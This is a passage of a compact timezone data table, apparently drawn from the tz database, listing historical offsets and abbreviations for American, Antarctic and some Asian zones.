Canada C%sT 1945_8_30_2 -5","-5 - EST"],"America/Bahia":["-2:34:4 - LMT 1914 -2:34:4","-3 Brazil BR%sT 2003_8_24 -3","-3 - BRT 2011_9_16 -3","-3 Brazil BR%sT 2012_9_21 -3","-3 - BRT"],"America/Bahia_Banderas":["-7:1 - LMT 1921_11_31_23_59 -7:1","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 - CST 1942_3_24 -6","-7 - MST 1949_0_14 -7","-8 - PST 1970 -8","-7 Mexico M%sT 2010_3_4_2 -7","-6 Mexico C%sT"],"America/Barbados":["-3:58:29 - LMT 1924 -3:58:29","-3:58:29 - BMT 1932 -3:58:29","-4 Barb A%sT"],"America/Belem":["-3:13:56 - LMT 1914 -3:13:56","-3 Brazil BR%sT 1988_8_12 -3","-3 - BRT"],"America/Belize":["-5:52:48 - LMT 1912_3 -5:52:48","-6 Belize C%sT"],"America/Blanc-Sablon":["-3:48:28 - LMT 1884 -3:48:28","-4 Canada A%sT 1970 -4","-4 - AST"],"America/Boa_Vista":["-4:2:40 - LMT 1914 -4:2:40","-4 Brazil AM%sT 1988_8_12 -4","-4 - AMT 1999_8_30 -4","-4 Brazil AM%sT 2000_9_15 -3","-4 - AMT"],"America/Bogota":["-4:56:16 - LMT 1884_2_13 -4:56:16","-4:56:16 - BMT 1914_10_23 -4:56:16","-5 CO CO%sT"],"America/Boise":["-7:44:49 - LMT 1883_10_18_12_15_11 -7:44:49","-8 US P%sT 1923_4_13_2 -8","-7 US M%sT 1974 -7","-7 - MST 1974_1_3_2 -7","-7 US M%sT"],"America/Cambridge_Bay":["0 - zzz 1920","-7 NT_YK M%sT 1999_9_31_2 -6","-6 Canada C%sT 2000_9_29_2 -5","-5 - EST 2000_10_5_0 -5","-6 - CST 2001_3_1_3 -6","-7 Canada M%sT"],"America/Campo_Grande":["-3:38:28 - LMT 1914 -3:38:28","-4 Brazil AM%sT"],"America/Cancun":["-5:47:4 - LMT 1922_0_1_0_12_56 -5:47:4","-6 - CST 1981_11_23 -6","-5 Mexico E%sT 1998_7_2_2 -4","-6 Mexico C%sT"],"America/Caracas":["-4:27:44 - LMT 1890 -4:27:44","-4:27:40 - CMT 1912_1_12 -4:27:40","-4:30 - VET 1965 -4:30","-4 - VET 2007_11_9_03 -4","-4:30 - VET"],"America/Cayenne":["-3:29:20 - LMT 1911_6 -3:29:20","-4 - GFT 1967_9 -4","-3 - GFT"],"America/Cayman":["-5:25:32 - LMT 1890 -5:25:32","-5:7:12 - KMT 1912_1 -5:7:12","-5 - EST"],"America/Chicago":["-5:50:36 - LMT 1883_10_18_12_9_24 -5:50:36","-6 US C%sT 1920 -6","-6 Chicago C%sT 1936_2_1_2 -6","-5 - EST 1936_10_15_2 -5","-6 Chicago C%sT 1942 -6","-6 US C%sT 1946 -6","-6 Chicago C%sT 1967 -6","-6 US C%sT"],"America/Chihuahua":["-7:4:20 - LMT 1921_11_31_23_55_40 -7:4:20","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 - CST 1996 -6","-6 Mexico C%sT 1998 -6","-6 - CST 1998_3_5_3 -6","-7 Mexico M%sT"],"America/Costa_Rica":["-5:36:13 - LMT 1890 -5:36:13","-5:36:13 - SJMT 1921_0_15 -5:36:13","-6 CR C%sT"],"America/Creston":["-7:46:4 - LMT 1884 -7:46:4","-7 - MST 1916_9_1 -7","-8 - PST 1918_5_2 -8","-7 - MST"],"America/Cuiaba":["-3:44:20 - LMT 1914 -3:44:20","-4 Brazil AM%sT 2003_8_24 -4","-4 - AMT 2004_9_1 -4","-4 Brazil AM%sT"],"America/Curacao":["-4:35:47 - LMT 1912_1_12 -4:35:47","-4:30 - ANT 1965 -4:30","-4 - AST"],"America/Danmarkshavn":["-1:14:40 - LMT 1916_6_28 -1:14:40","-3 - WGT 1980_3_6_2 -3","-3 EU WG%sT 1996 -3","0 - GMT"],"America/Dawson":["-9:17:40 - LMT 1900_7_20 -9:17:40","-9 NT_YK Y%sT 1973_9_28_0 -9","-8 NT_YK P%sT 1980 -8","-8 Canada P%sT"],"America/Dawson_Creek":["-8:0:56 - LMT 1884 -8:0:56","-8 Canada P%sT 1947 -8","-8 Vanc P%sT 1972_7_30_2 -7","-7 - MST"],"America/Denver":["-6:59:56 - LMT 1883_10_18_12_0_4 -6:59:56","-7 US M%sT 1920 -7","-7 Denver M%sT 1942 -7","-7 US M%sT 1946 -7","-7 Denver M%sT 1967 -7","-7 US M%sT"],"America/Detroit":["-5:32:11 - LMT 1905 -5:32:11","-6 - CST 1915_4_15_2 -6","-5 - EST 1942 -5","-5 US E%sT 1946 -5","-5 Detroit E%sT 1973 -5","-5 US E%sT 1975 -5","-5 - EST 1975_3_27_2 -5","-5 US E%sT"],"America/Dominica":["-4:5:36 - LMT 1911_6_1_0_1 -4:5:36","-4 - AST"],"America/Edmonton":["-7:33:52 - LMT 1906_8 -7:33:52","-7 Edm M%sT 1987 -7","-7 Canada M%sT"],"America/Eirunepe":["-4:39:28 - LMT 1914 -4:39:28","-5 Brazil AC%sT 1988_8_12 -5","-5 - ACT 1993_8_28 -5","-5 Brazil AC%sT 1994_8_22 -5","-5 - ACT 2008_5_24_00 -5","-4 - AMT"],"America/El_Salvador":["-5:56:48 - LMT 1921 -5:56:48","-6 Salv C%sT"],"America/Fortaleza":["-2:34 - LMT 1914 -2:34","-3 Brazil BR%sT 1990_8_17 -3","-3 - BRT 1999_8_30 -3","-3 Brazil BR%sT 2000_9_22 -2","-3 - BRT 2001_8_13 -3","-3 Brazil BR%sT 2002_9_1 -3","-3 - BRT"],"America/Glace_Bay":["-3:59:48 - LMT 1902_5_15 -3:59:48","-4 Canada A%sT 1953 -4","-4 Halifax A%sT 1954 -4","-4 - AST 1972 -4","-4 Halifax A%sT 1974 -4","-4 Canada A%sT"],"America/Godthab":["-3:26:56 - LMT 1916_6_28 -3:26:56","-3 - WGT 1980_3_6_2 -3","-3 EU WG%sT"],"America/Goose_Bay":["-4:1:40 - LMT 1884 -4:1:40","-3:30:52 - NST 1918 -3:30:52","-3:30:52 Canada N%sT 1919 -3:30:52","-3:30:52 - NST 1935_2_30 -3:30:52","-3:30 - NST 1936 -3:30","-3:30 StJohns N%sT 1942_4_11 -3:30","-3:30 Canada N%sT 1946 -3:30","-3:30 StJohns N%sT 1966_2_15_2 -3:30","-4 StJohns A%sT 2011_10 -3","-4 Canada A%sT"],"America/Grand_Turk":["-4:44:32 - LMT 1890 -4:44:32","-5:7:12 - KMT 1912_1 -5:7:12","-5 TC E%sT"],"America/Grenada":["-4:7 - LMT 1911_6 -4:7","-4 - AST"],"America/Guadeloupe":["-4:6:8 - LMT 1911_5_8 -4:6:8","-4 - AST"],"America/Guatemala":["-6:2:4 - LMT 1918_9_5 -6:2:4","-6 Guat C%sT"],"America/Guayaquil":["-5:19:20 - LMT 1890 -5:19:20","-5:14 - QMT 1931 -5:14","-5 - ECT"],"America/Guyana":["-3:52:40 - LMT 1915_2 -3:52:40","-3:45 - GBGT 1966_4_26 -3:45","-3:45 - GYT 1975_6_31 -3:45","-3 - GYT 1991 -3","-4 - GYT"],"America/Halifax":["-4:14:24 - LMT 1902_5_15 -4:14:24","-4 Halifax A%sT 1918 -4","-4 Canada A%sT 1919 -4","-4 Halifax A%sT 1942_1_9_2 -4","-4 Canada A%sT 1946 -4","-4 Halifax A%sT 1974 -4","-4 Canada A%sT"],"America/Havana":["-5:29:28 - LMT 1890 -5:29:28","-5:29:36 - HMT 1925_6_19_12 -5:29:36","-5 Cuba C%sT"],"America/Hermosillo":["-7:23:52 - LMT 1921_11_31_23_36_8 -7:23:52","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 - CST 1942_3_24 -6","-7 - MST 1949_0_14 -7","-8 - PST 1970 -8","-7 Mexico M%sT 1999 -7","-7 - MST"],"America/Indiana/Indianapolis":["-5:44:38 - LMT 1883_10_18_12_15_22 -5:44:38","-6 US C%sT 1920 -6","-6 Indianapolis C%sT 1942 -6","-6 US C%sT 1946 -6","-6 Indianapolis C%sT 1955_3_24_2 -6","-5 - EST 1957_8_29_2 -5","-6 - CST 1958_3_27_2 -6","-5 - EST 1969 -5","-5 US E%sT 1971 -5","-5 - EST 2006 -5","-5 US E%sT"],"America/Indiana/Knox":["-5:46:30 - LMT 1883_10_18_12_13_30 -5:46:30","-6 US C%sT 1947 -6","-6 Starke C%sT 1962_3_29_2 -6","-5 - EST 1963_9_27_2 -5","-6 US C%sT 1991_9_27_2 -5","-5 - EST 2006_3_2_2 -5","-6 US C%sT"],"America/Indiana/Marengo":["-5:45:23 - LMT 1883_10_18_12_14_37 -5:45:23","-6 US C%sT 1951 -6","-6 Marengo C%sT 1961_3_30_2 -6","-5 - EST 1969 -5","-5 US E%sT 1974_0_6_2 -5","-5 - CDT 1974_9_27_2 -5","-5 US E%sT 1976 -5","-5 - EST 2006 -5","-5 US E%sT"],"America/Indiana/Petersburg":["-5:49:7 - LMT 1883_10_18_12_10_53 -5:49:7","-6 US C%sT 1955 -6","-6 Pike C%sT 1965_3_25_2 -6","-5 - EST 1966_9_30_2 -5","-6 US C%sT 1977_9_30_2 -5","-5 - EST 2006_3_2_2 -5","-6 US C%sT 2007_10_4_2 -5","-5 US E%sT"],"America/Indiana/Tell_City":["-5:47:3 - LMT 1883_10_18_12_12_57 -5:47:3","-6 US C%sT 1946 -6","-6 Perry C%sT 1964_3_26_2 -6","-5 - EST 1969 -5","-5 US E%sT 1971 -5","-5 - EST 2006_3_2_2 -5","-6 US C%sT"],"America/Indiana/Vevay":["-5:40:16 - LMT 1883_10_18_12_19_44 -5:40:16","-6 US C%sT 1954_3_25_2 -6","-5 - EST 1969 -5","-5 US E%sT 1973 -5","-5 - EST 2006 -5","-5 US E%sT"],"America/Indiana/Vincennes":["-5:50:7 - LMT 1883_10_18_12_9_53 -5:50:7","-6 US C%sT 1946 -6","-6 Vincennes C%sT 1964_3_26_2 -6","-5 - EST 1969 -5","-5 US E%sT 1971 -5","-5 - EST 2006_3_2_2 -5","-6 US C%sT 2007_10_4_2 -5","-5 US E%sT"],"America/Indiana/Winamac":["-5:46:25 - LMT 1883_10_18_12_13_35 -5:46:25","-6 US C%sT 1946 -6","-6 Pulaski C%sT 1961_3_30_2 -6","-5 - EST 1969 -5","-5 US E%sT 1971 -5","-5 - EST 2006_3_2_2 -5","-6 US C%sT 2007_2_11_2 -6","-5 US E%sT"],"America/Inuvik":["0 - zzz 1953","-8 NT_YK P%sT 1979_3_29_2 -8","-7 NT_YK M%sT 1980 -7","-7 Canada M%sT"],"America/Iqaluit":["0 - zzz 1942_7","-5 NT_YK E%sT 1999_9_31_2 -4","-6 Canada C%sT 2000_9_29_2 -5","-5 Canada E%sT"],"America/Jamaica":["-5:7:12 - LMT 1890 -5:7:12","-5:7:12 - KMT 1912_1 -5:7:12","-5 - EST 1974_3_28_2 -5","-5 US E%sT 1984 -5","-5 - EST"],"America/Juneau":["15:2:19 - LMT 1867_9_18 15:2:19","-8:57:41 - LMT 1900_7_20_12 -8:57:41","-8 - PST 1942 -8","-8 US P%sT 1946 -8","-8 - PST 1969 -8","-8 US P%sT 1980_3_27_2 -8","-9 US Y%sT 1980_9_26_2 -8","-8 US P%sT 1983_9_30_2 -7","-9 US Y%sT 1983_10_30 -9","-9 US AK%sT"],"America/Kentucky/Louisville":["-5:43:2 - LMT 1883_10_18_12_16_58 -5:43:2","-6 US C%sT 1921 -6","-6 Louisville C%sT 1942 -6","-6 US C%sT 1946 -6","-6 Louisville C%sT 1961_6_23_2 -5","-5 - EST 1968 -5","-5 US E%sT 1974_0_6_2 -5","-5 - CDT 1974_9_27_2 -5","-5 US E%sT"],"America/Kentucky/Monticello":["-5:39:24 - LMT 1883_10_18_12_20_36 -5:39:24","-6 US C%sT 1946 -6","-6 - CST 1968 -6","-6 US C%sT 2000_9_29_2 -5","-5 US E%sT"],"America/La_Paz":["-4:32:36 - LMT 1890 -4:32:36","-4:32:36 - CMT 1931_9_15 -4:32:36","-3:32:36 - BOST 1932_2_21 -3:32:36","-4 - BOT"],"America/Lima":["-5:8:12 - LMT 1890 -5:8:12","-5:8:36 - LMT 1908_6_28 -5:8:36","-5 Peru PE%sT"],"America/Los_Angeles":["-7:52:58 - LMT 1883_10_18_12_7_2 -7:52:58","-8 US P%sT 1946 -8","-8 CA P%sT 1967 -8","-8 US P%sT"],"America/Maceio":["-2:22:52 - LMT 1914 -2:22:52","-3 Brazil BR%sT 1990_8_17 -3","-3 - BRT 1995_9_13 -3","-3 Brazil BR%sT 1996_8_4 -3","-3 - BRT 1999_8_30 -3","-3 Brazil BR%sT 2000_9_22 -2","-3 - BRT 2001_8_13 -3","-3 Brazil BR%sT 2002_9_1 -3","-3 - BRT"],"America/Managua":["-5:45:8 - LMT 1890 -5:45:8","-5:45:12 - MMT 1934_5_23 -5:45:12","-6 - CST 1973_4 -6","-5 - EST 1975_1_16 -5","-6 Nic C%sT 1992_0_1_4 -6","-5 - EST 1992_8_24 -5","-6 - CST 1993 -6","-5 - EST 1997 -5","-6 Nic C%sT"],"America/Manaus":["-4:0:4 - LMT 1914 -4:0:4","-4 Brazil AM%sT 1988_8_12 -4","-4 - AMT 1993_8_28 -4","-4 Brazil AM%sT 1994_8_22 -4","-4 - AMT"],"America/Martinique":["-4:4:20 - LMT 1890 -4:4:20","-4:4:20 - FFMT 1911_4 -4:4:20","-4 - AST 1980_3_6 -4","-3 - ADT 1980_8_28 -3","-4 - AST"],"America/Matamoros":["-6:40 - LMT 1921_11_31_23_20 -6:40","-6 - CST 1988 -6","-6 US C%sT 1989 -6","-6 Mexico C%sT 2010 -6","-6 US C%sT"],"America/Mazatlan":["-7:5:40 - LMT 1921_11_31_23_54_20 -7:5:40","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 - CST 1942_3_24 -6","-7 - MST 1949_0_14 -7","-8 - PST 1970 -8","-7 Mexico M%sT"],"America/Menominee":["-5:50:27 - LMT 1885_8_18_12 -5:50:27","-6 US C%sT 1946 -6","-6 Menominee C%sT 1969_3_27_2 -6","-5 - EST 1973_3_29_2 -5","-6 US C%sT"],"America/Merida":["-5:58:28 - LMT 1922_0_1_0_1_32 -5:58:28","-6 - CST 1981_11_23 -6","-5 - EST 1982_11_2 -5","-6 Mexico C%sT"],"America/Metlakatla":["15:13:42 - LMT 1867_9_18 15:13:42","-8:46:18 - LMT 1900_7_20_12 -8:46:18","-8 - PST 1942 -8","-8 US P%sT 1946 -8","-8 - PST 1969 -8","-8 US P%sT 1983_9_30_2 -7","-8 - MeST"],"America/Mexico_City":["-6:36:36 - LMT 1922_0_1_0_23_24 -6:36:36","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 Mexico C%sT 2001_8_30_02 -5","-6 - CST 2002_1_20 -6","-6 Mexico C%sT"],"America/Miquelon":["-3:44:40 - LMT 1911_4_15 -3:44:40","-4 - AST 1980_4 -4","-3 - PMST 1987 -3","-3 Canada PM%sT"],"America/Moncton":["-4:19:8 - LMT 1883_11_9 -4:19:8","-5 - EST 1902_5_15 -5","-4 Canada A%sT 1933 -4","-4 Moncton A%sT 1942 -4","-4 Canada A%sT 1946 -4","-4 Moncton A%sT 1973 -4","-4 Canada A%sT 1993 -4","-4 Moncton A%sT 2007 -4","-4 Canada A%sT"],"America/Monterrey":["-6:41:16 - LMT 1921_11_31_23_18_44 -6:41:16","-6 - CST 1988 -6","-6 US C%sT 1989 -6","-6 Mexico C%sT"],"America/Montevideo":["-3:44:44 - LMT 1898_5_28 -3:44:44","-3:44:44 - MMT 1920_4_1 -3:44:44","-3:30 Uruguay UY%sT 1942_11_14 -3:30","-3 Uruguay UY%sT"],"America/Montreal":["-4:54:16 - LMT 1884 -4:54:16","-5 Mont E%sT 1918 -5","-5 Canada E%sT 1919 -5","-5 Mont E%sT 1942_1_9_2 -5","-5 Canada E%sT 1946 -5","-5 Mont E%sT 1974 -5","-5 Canada E%sT"],"America/Montserrat":["-4:8:52 - LMT 1911_6_1_0_1 -4:8:52","-4 - AST"],"America/Nassau":["-5:9:30 - LMT 1912_2_2 -5:9:30","-5 Bahamas E%sT 1976 -5","-5 US E%sT"],"America/New_York":["-4:56:2 - LMT 1883_10_18_12_3_58 -4:56:2","-5 US E%sT 1920 -5","-5 NYC E%sT 1942 -5","-5 US E%sT 1946 -5","-5 NYC E%sT 1967 -5","-5 US E%sT"],"America/Nipigon":["-5:53:4 - LMT 1895 -5:53:4","-5 Canada E%sT 1940_8_29 -5","-4 - EDT 1942_1_9_2 -5","-5 Canada E%sT"],"America/Nome":["12:58:21 - LMT 1867_9_18 12:58:21","-11:1:38 - LMT 1900_7_20_12 -11:1:38","-11 - NST 1942 -11","-11 US N%sT 1946 -11","-11 - NST 1967_3 -11","-11 - BST 1969 -11","-11 US B%sT 1983_9_30_2 -10","-9 US Y%sT 1983_10_30 -9","-9 US AK%sT"],"America/Noronha":["-2:9:40 - LMT 1914 -2:9:40","-2 Brazil FN%sT 1990_8_17 -2","-2 - FNT 1999_8_30 -2","-2 Brazil FN%sT 2000_9_15 -1","-2 - FNT 2001_8_13 -2","-2 Brazil FN%sT 2002_9_1 -2","-2 - FNT"],"America/North_Dakota/Beulah":["-6:47:7 - LMT 1883_10_18_12_12_53 -6:47:7","-7 US M%sT 2010_10_7_2 -6","-6 US C%sT"],"America/North_Dakota/Center":["-6:45:12 - LMT 1883_10_18_12_14_48 -6:45:12","-7 US M%sT 1992_9_25_02 -6","-6 US C%sT"],"America/North_Dakota/New_Salem":["-6:45:39 - LMT 1883_10_18_12_14_21 -6:45:39","-7 US M%sT 2003_9_26_02 -6","-6 US C%sT"],"America/Ojinaga":["-6:57:40 - LMT 1922_0_1_0_2_20 -6:57:40","-7 - MST 1927_5_10_23 -7","-6 - CST 1930_10_15 -6","-7 - MST 1931_4_1_23 -7","-6 - CST 1931_9 -6","-7 - MST 1932_3_1 -7","-6 - CST 1996 -6","-6 Mexico C%sT 1998 -6","-6 - CST 1998_3_5_3 -6","-7 Mexico M%sT 2010 -7","-7 US M%sT"],"America/Panama":["-5:18:8 - LMT 1890 -5:18:8","-5:19:36 - CMT 1908_3_22 -5:19:36","-5 - EST"],"America/Pangnirtung":["0 - zzz 1921","-4 NT_YK A%sT 1995_3_2_2 -4","-5 Canada E%sT 1999_9_31_2 -4","-6 Canada C%sT 2000_9_29_2 -5","-5 Canada E%sT"],"America/Paramaribo":["-3:40:40 - LMT 1911 -3:40:40","-3:40:52 - PMT 1935 -3:40:52","-3:40:36 - PMT 1945_9 -3:40:36","-3:30 - NEGT 1975_10_20 -3:30","-3:30 - SRT 1984_9 -3:30","-3 - SRT"],"America/Phoenix":["-7:28:18 - LMT 1883_10_18_11_31_42 -7:28:18","-7 US M%sT 1944_0_1_00_1 -6","-7 - MST 1944_3_1_00_1 -7","-7 US M%sT 1944_9_1_00_1 -6","-7 - MST 1967 -7","-7 US M%sT 1968_2_21 -7","-7 - MST"],"America/Port-au-Prince":["-4:49:20 - LMT 1890 -4:49:20","-4:49 - PPMT 1917_0_24_12 -4:49","-5 Haiti E%sT"],"America/Port_of_Spain":["-4:6:4 - LMT 1912_2_2 -4:6:4","-4 - AST"],"America/Porto_Velho":["-4:15:36 - LMT 1914 -4:15:36","-4 Brazil AM%sT 1988_8_12 -4","-4 - AMT"],"America/Puerto_Rico":["-4:24:25 - LMT 1899_2_28_12 -4:24:25","-4 - AST 1942_4_3 -4","-4 US A%sT 1946 -4","-4 - AST"],"America/Rainy_River":["-6:18:16 - LMT 1895 -6:18:16","-6 Canada C%sT 1940_8_29 -6","-5 - CDT 1942_1_9_2 -6","-6 Canada C%sT"],"America/Rankin_Inlet":["0 - zzz 1957","-6 NT_YK C%sT 2000_9_29_2 -5","-5 - EST 2001_3_1_3 -5","-6 Canada C%sT"],"America/Recife":["-2:19:36 - LMT 1914 -2:19:36","-3 Brazil BR%sT 1990_8_17 -3","-3 - BRT 1999_8_30 -3","-3 Brazil BR%sT 2000_9_15 -2","-3 - BRT 2001_8_13 -3","-3 Brazil BR%sT 2002_9_1 -3","-3 - BRT"],"America/Regina":["-6:58:36 - LMT 1905_8 -6:58:36","-7 Regina M%sT 1960_3_24_2 -7","-6 - CST"],"America/Resolute":["0 - zzz 1947_7_31","-6 NT_YK C%sT 2000_9_29_2 -5","-5 - EST 2001_3_1_3 -5","-6 Canada C%sT 2006_9_29_2 -5","-5 - EST 2007_2_11_3 -5","-6 Canada C%sT"],"America/Rio_Branco":["-4:31:12 - LMT 1914 -4:31:12","-5 Brazil AC%sT 1988_8_12 -5","-5 - ACT 2008_5_24_00 -5","-4 - AMT"],"America/Santa_Isabel":["-7:39:28 - LMT 1922_0_1_0_20_32 -7:39:28","-7 - MST 1924 -7","-8 - PST 1927_5_10_23 -8","-7 - MST 1930_10_15 -7","-8 - PST 1931_3_1 -8","-7 - PDT 1931_8_30 -7","-8 - PST 1942_3_24 -8","-7 - PWT 1945_7_14_23","-7 - PPT 1945_10_12 -7","-8 - PST 1948_3_5 -8","-7 - PDT 1949_0_14 -7","-8 - PST 1954 -8","-8 CA P%sT 1961 -8","-8 - PST 1976 -8","-8 US P%sT 1996 -8","-8 Mexico P%sT 2001 -8","-8 US P%sT 2002_1_20 -8","-8 Mexico P%sT"],"America/Santarem":["-3:38:48 - LMT 1914 -3:38:48","-4 Brazil AM%sT 1988_8_12 -4","-4 - AMT 2008_5_24_00 -4","-3 - BRT"],"America/Santiago":["-4:42:46 - LMT 1890 -4:42:46","-4:42:46 - SMT 1910 -4:42:46","-5 - CLT 1916_6_1 -5","-4:42:46 - SMT 1918_8_1 -4:42:46","-4 - CLT 1919_6_1 -4","-4:42:46 - SMT 1927_8_1 -4:42:46","-5 Chile CL%sT 1947_4_22 -5","-4 Chile CL%sT"],"America/Santo_Domingo":["-4:39:36 - LMT 1890 -4:39:36","-4:40 - SDMT 1933_3_1_12 -4:40","-5 DR E%sT 1974_9_27 -5","-4 - AST 2000_9_29_02 -4","-5 US E%sT 2000_11_3_01 -5","-4 - AST"],"America/Sao_Paulo":["-3:6:28 - LMT 1914 -3:6:28","-3 Brazil BR%sT 1963_9_23_00 -3","-2 - BRST 1964 -2","-3 Brazil BR%sT"],"America/Scoresbysund":["-1:27:52 - LMT 1916_6_28 -1:27:52","-2 - CGT 1980_3_6_2 -2","-2 C-Eur CG%sT 1981_2_29 -2","-1 EU EG%sT"],"America/Sitka":["14:58:47 - LMT 1867_9_18 14:58:47","-9:1:13 - LMT 1900_7_20_12 -9:1:13","-8 - PST 1942 -8","-8 US P%sT 1946 -8","-8 - PST 1969 -8","-8 US P%sT 1983_9_30_2 -7","-9 US Y%sT 1983_10_30 -9","-9 US AK%sT"],"America/St_Johns":["-3:30:52 - LMT 1884 -3:30:52","-3:30:52 StJohns N%sT 1918 -3:30:52","-3:30:52 Canada N%sT 1919 -3:30:52","-3:30:52 StJohns N%sT 1935_2_30 -3:30:52","-3:30 StJohns N%sT 1942_4_11 -3:30","-3:30 Canada N%sT 1946 -3:30","-3:30 StJohns N%sT 2011_10 -2:30","-3:30 Canada N%sT"],"America/St_Kitts":["-4:10:52 - LMT 1912_2_2 -4:10:52","-4 - AST"],"America/St_Lucia":["-4:4 - LMT 1890 -4:4","-4:4 - CMT 1912 -4:4","-4 - AST"],"America/St_Thomas":["-4:19:44 - LMT 1911_6 -4:19:44","-4 - AST"],"America/St_Vincent":["-4:4:56 - LMT 1890 -4:4:56","-4:4:56 - KMT 1912 -4:4:56","-4 - AST"],"America/Swift_Current":["-7:11:20 - LMT 1905_8 -7:11:20","-7 Canada M%sT 1946_3_28_2 -7","-7 Regina M%sT 1950 -7","-7 Swift M%sT 1972_3_30_2 -7","-6 - CST"],"America/Tegucigalpa":["-5:48:52 - LMT 1921_3 -5:48:52","-6 Hond C%sT"],"America/Thule":["-4:35:8 - LMT 1916_6_28 -4:35:8","-4 Thule A%sT"],"America/Thunder_Bay":["-5:57 - LMT 1895 -5:57","-6 - CST 1910 -6","-5 - EST 1942 -5","-5 Canada E%sT 1970 -5","-5 Mont E%sT 1973 -5","-5 - EST 1974 -5","-5 Canada E%sT"],"America/Tijuana":["-7:48:4 - LMT 1922_0_1_0_11_56 -7:48:4","-7 - MST 1924 -7","-8 - PST 1927_5_10_23 -8","-7 - MST 1930_10_15 -7","-8 - PST 1931_3_1 -8","-7 - PDT 1931_8_30 -7","-8 - PST 1942_3_24 -8","-7 - PWT 1945_7_14_23","-7 - PPT 1945_10_12 -7","-8 - PST 1948_3_5 -8","-7 - PDT 1949_0_14 -7","-8 - PST 1954 -8","-8 CA P%sT 1961 -8","-8 - PST 1976 -8","-8 US P%sT 1996 -8","-8 Mexico P%sT 2001 -8","-8 US P%sT 2002_1_20 -8","-8 Mexico P%sT 2010 -8","-8 US P%sT"],"America/Toronto":["-5:17:32 - LMT 1895 -5:17:32","-5 Canada E%sT 1919 -5","-5 Toronto E%sT 1942_1_9_2 -5","-5 Canada E%sT 1946 -5","-5 Toronto E%sT 1974 -5","-5 Canada E%sT"],"America/Tortola":["-4:18:28 - LMT 1911_6 -4:18:28","-4 - AST"],"America/Vancouver":["-8:12:28 - LMT 1884 -8:12:28","-8 Vanc P%sT 1987 -8","-8 Canada P%sT"],"America/Whitehorse":["-9:0:12 - LMT 1900_7_20 -9:0:12","-9 NT_YK Y%sT 1966_6_1_2 -9","-8 NT_YK P%sT 1980 -8","-8 Canada P%sT"],"America/Winnipeg":["-6:28:36 - LMT 1887_6_16 -6:28:36","-6 Winn C%sT 2006 -6","-6 Canada C%sT"],"America/Yakutat":["14:41:5 - LMT 1867_9_18 14:41:5","-9:18:55 - LMT 1900_7_20_12 -9:18:55","-9 - YST 1942 -9","-9 US Y%sT 1946 -9","-9 - YST 1969 -9","-9 US Y%sT 1983_10_30 -9","-9 US AK%sT"],"America/Yellowknife":["0 - zzz 1935","-7 NT_YK M%sT 1980 -7","-7 Canada M%sT"],"Antarctica/Casey":["0 - zzz 1969","8 - WST 2009_9_18_2 8","11 - CAST 2010_2_5_2 11","8 - WST 2011_9_28_2 8","11 - CAST 2012_1_21_17","8 - WST"],"Antarctica/Davis":["0 - zzz 1957_0_13","7 - DAVT 1964_10 7","0 - zzz 1969_1","7 - DAVT 2009_9_18_2 7","5 - DAVT 2010_2_10_20","7 - DAVT 2011_9_28_2 7","5 - DAVT 2012_1_21_20","7 - DAVT"],"Antarctica/DumontDUrville":["0 - zzz 1947","10 - PMT 1952_0_14 10","0 - zzz 1956_10","10 - DDUT"],"Antarctica/Macquarie":["0 - zzz 1899_10","10 - EST 1916_9_1_2 10","11 - EST 1917_1 11","10 Aus EST 1919_3 10","0 - zzz 1948_2_25","10 Aus EST 1967 10","10 AT EST 2010_3_4_3 11","11 - MIST"],"Antarctica/Mawson":["0 - zzz 1954_1_13","6 - MAWT 2009_9_18_2 6","5 - MAWT"],"Antarctica/McMurdo":["0 - zzz 1956","12 NZAQ NZ%sT"],"Antarctica/Palmer":["0 - zzz 1965","-4 ArgAQ AR%sT 1969_9_5 -4","-3 ArgAQ AR%sT 1982_4 -3","-4 ChileAQ CL%sT"],"Antarctica/Rothera":["0 - zzz 1976_11_1","-3 - ROTT"],"Antarctica/Syowa":["0 - zzz 1957_0_29","3 - SYOT"],"Antarctica/Vostok":["0 - zzz 1957_11_16","6 - VOST"],"Europe/Oslo":["0:43 - LMT 1895_0_1 0:43","1 Norway CE%sT 1940_7_10_23 1","1 C-Eur CE%sT 1945_3_2_2 1","1 Norway CE%sT 1980 1","1 EU CE%sT"],"Asia/Aden":["2:59:54 - LMT 1950 2:59:54","3 - AST"],"Asia/Almaty":["5:7:48 - LMT 1924_4_2 5:7:48","5 - ALMT 1930_5_21 5","6 RussiaAsia ALM%sT 1991 6","6 - ALMT 1992 6","6 RussiaAsia ALM%sT 2005_2_15 6","6 - ALMT"],"Asia/Amman":["2:23:44 - LMT 1931 2:23:44","2 Jordan EE%sT"],"Asia/Anadyr":["11:49:56 - LMT 1924_4_2 11:49:56","12 - ANAT 1930_5_21 12","13 Russia ANA%sT 1982_3_1_0 13","12 Russia ANA%sT 1991_2_31_2 12","11 Russia ANA%sT 1992_0_19_2 11","12 Russia ANA%sT 2010_2_28_2 12","11 Russia ANA%sT 2011_2_27_2 11","12 - ANAT"],"Asia/Aqtau":["3:21:4 - LMT 1924_4_2 3:21:4","4 - FORT 1930_5_21 4","5 - FORT 1963 5","5 - SHET 1981_9_1 5","6 - SHET 1982_3_1 6","5 RussiaAsia SHE%sT 1991 5","5 - SHET 1991_11_16 5","5 RussiaAsia AQT%sT 1995_2_26_2 5","4 RussiaAsia AQT%sT 2005_2_15 4","5 - AQTT"],"Asia/Aqtobe":["3:48:40 - LMT 1924_4_2 3:48:40","4 - AKTT 1930_5_21 4","5 - AKTT 1981_3_1 5","6 - AKTST 1981_9_1 6","6 - AKTT 1982_3_1 6","5 RussiaAsia AKT%sT 1991 5","5 - AKTT 1991_11_16 5","5 RussiaAsia AQT%sT 2005_2_15 5","5 - AQTT"],"Asia/Ashgabat":["3:53:32 - LMT 1924_4_2 3:53:32","4 - ASHT 1930_5_21 4","5 RussiaAsia ASH%sT 